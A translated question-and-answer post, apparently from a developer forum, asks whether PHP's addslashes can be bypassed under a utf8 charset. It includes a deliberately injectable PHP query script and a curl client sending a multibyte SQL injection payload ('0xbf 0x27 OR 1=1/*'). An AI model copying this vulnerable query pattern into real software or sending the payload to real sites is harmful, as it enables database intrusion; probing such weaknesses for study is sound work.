スクリプトでアドスラッシュを使用することが悪用可能かどうかを確認しようとしています。アドスラッシュを使用すべきではないことは誰もが知っていますが、問題は常に悪用可能ですか?
文字セットが utf8 ではない場合(2 バイト変換を使用) と、変数が "" で囲まれている場合の2 つのケースで、addslashes の悪用に関する多くの情報を見つけました。
では、上記のいずれのケースも発生しない場合、addslashes をバイパスできますか? これは私がテストしてきたコードです:
db ダンプを含む data.sql ファイル:
CREATE TABLE IF NOT EXISTS `test` (
`user` varchar(25) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
INSERT INTO `test` (`user`) VALUES
('admin'),
('user');
mysql -u test -ptestpw test < data.sql
サーバーに配置するindex.php
<?php
//Server script the receives content via post
mysql_connect("localhost","test","testpw");
mysql_select_db("test");
$user=addslashes($_POST['username']);
$query="SELECT * FROM test WHERE user='".$user."'";
$q=mysql_query($query) or die (mysql_error());
$num_rows = mysql_num_rows($q);
echo "Listed rows: $num_rows";
if ($num_rows > 0) {
$a=mysql_fetch_array($q);
print_r($a);
}
?>
クライアント マシンに配置する query.php
<?php
//Client script crafting the special url
$url = "http://example.com/index.php";
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $url );
curl_setopt( $ch, CURLOPT_POST, TRUE );
curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" .
chr(0xbf) . chr(0x27) .
"OR 1=1/*&submit=1" );
$data = curl_exec( $ch );
print( $data );
curl_close( $ch );
?>
参考文献: